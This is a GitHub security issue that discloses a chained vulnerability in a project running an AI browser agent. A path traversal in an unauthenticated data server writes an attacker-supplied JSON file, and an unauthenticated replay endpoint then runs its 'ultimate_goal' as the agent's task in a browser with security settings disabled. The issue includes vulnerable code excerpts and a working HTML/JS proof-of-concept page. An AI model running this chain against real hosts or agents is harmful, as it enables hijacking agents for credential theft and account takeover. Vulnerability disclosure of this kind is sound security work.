Skip to content

Security:AI Agent Task Injection via Unauthenticated Replay API #10

@researchersongwu

Description

@researchersongwu

This vulnerability is found by Songwu security researcher,Zeyu Luo security researcher, Dr. CAO Yinfeng, Kevin(The Hong Kong Polytechnic University / HKCT Institute of Higher Education)

vulnerability description

The server in this project exposes two unauthenticated HTTP servers on 0.0.0.0. Through a chained attack combining a path traversal vulnerability in the data collection server (port 4934) and an unsanitized file-path parameter in the AI replay server (port 3089), a remote attacker who can lure a victim to visit a malicious webpage can:

Write an attacker-controlled JSON file to any path the process can write to.
Trigger the AI Agent to load that file and execute the attacker-supplied ultimate_goal as its autonomous task.
The AI Agent then operates a real Chromium browser — with all security policies disabled (disable_security=True) — performing whatever actions the attacker specifies (credential theft, account takeover, data exfiltration, etc.).
No authentication, no input validation, and no sandboxing are present at any layer of this attack chain.

vulner ability detail

action_collect_server.py — Path Traversal / Arbitrary File Write

# taskId is taken directly from POST body with no validation
task_id = event_data["taskId"]

def mkdir_n_define_file_name(data_root_dir, task_name):
    # os.path.join does NOT sanitize "../" sequences
    folderpath = os.path.join(data_root_dir, date_folder, task_name)
    os.makedirs(folderpath, exist_ok=True)           # creates arbitrary dirs
    filepath = os.path.join(folderpath, f"summary_event_{timestamp}.json")
    return filepath

filepath = mkdir_n_define_file_name("data", task_id)

# Entire POST body (attacker-controlled) is written verbatim
with open(filepath, "w") as json_file:
    json.dump(event_data, json_file)

# Response leaks the resolved absolute path
return jsonify({"status": "success",
                "message": f"Event received and saved as {filepath}"}), 200

wap_service.py — Unauthenticated Arbitrary-Path Replay Trigger

# file_path query parameter passed directly to run_replay.main()
# No authentication, no path validation, no allow-list
@app.route('/replay', methods=['GET'])
async def replay():
    file_path = request.args.get('file_path')   # fully attacker-controlled
    iterations = int(request.args.get('iterations', 1))
    model = request.args.get('model', 'openai')
    await run_replay.main(iterations, model, file_path)
    return jsonify({"status": "success", "message": "Replay executed successfully"})

# No CORS restriction — no flask-cors at all
# Cross-origin <img> tags and no-cors fetch requests can reach this endpoint
app.run(host='0.0.0.0', port=3089)

run_replay.py — Attacker-Controlled AI Agent Task

#  File at attacker-controlled path is opened without validation
with open(wap_replay_list_path, "r", encoding="utf-8") as f:
    replay_list.append(json.load(f))

# ultimate_goal field becomes the AI Agent's autonomous task verbatim
task_str = replay_list["ultimate_goal"]   # ATTACKER-CONTROLLED STRING

# Browser launched with ALL security policies disabled
browser = Browser(
    config=BrowserConfig(
        disable_security=True,                        # disables HTTPS cert checks,
        new_context_config=BrowserContextConfig(      # same-origin policy, etc.
            disable_security=True,
        ),
    )
)

agent = Agent(
    task=task_str,    # attacker's instruction
    llm=client,
    browser=browser,
    validate_output=True,
)
history = await agent.run(max_steps=20)

Poc

<!DOCTYPE html>
<html>
<body>
<pre id="out">exp running...</pre>
<script>
const out = document.getElementById('out');
const log = s => out.textContent += s + '\n';

async function attack() {

  // ── Step 1:write malicious file ──
  log('[*] Step 1: write malicious file...');
  const r1 = await fetch('http://localhost:4934/action-data', {
    method:  'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({
      taskId:       "../../../../tmp/agent_inject",
      ultimate_goal:"open https://example.com and take a screenshot",
      task_id:      "injected",
      type:         "smart_replay",
      subgoal_list: []
    })
  });
  const d1 = await r1.json();
  log('[+] ' + d1.message);

  const filePath = d1.message.replace('Event received and saved as ', '').trim();
  log('[+] 任务文件: ' + filePath);

  // ── Step 2:img  bypass. cors)──
  log('\n[*] Step 2: call AI Agent...');
  const url = 'http://localhost:3089/replay'
    + '?concurrent=1'
    + '&model=openai'
    + '&file_path=' + encodeURIComponent(filePath);

  await new Promise(resolve => {
    const img   = new Image();
    img.onload  = () => { log('[+] 200 OK,Agent started'); resolve(); };
    img.onerror = () => { log('[+] server responded, Agent started (non-image response is normal)'); resolve(); };
    img.src = url;
    setTimeout(resolve, 5000);
  });

  log('\n[!] Observe if the target machine pops up a Chrome browser window to execute the task');
}

attack().catch(e => log('[-] ' + e));
</script>
</body>
</html>

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions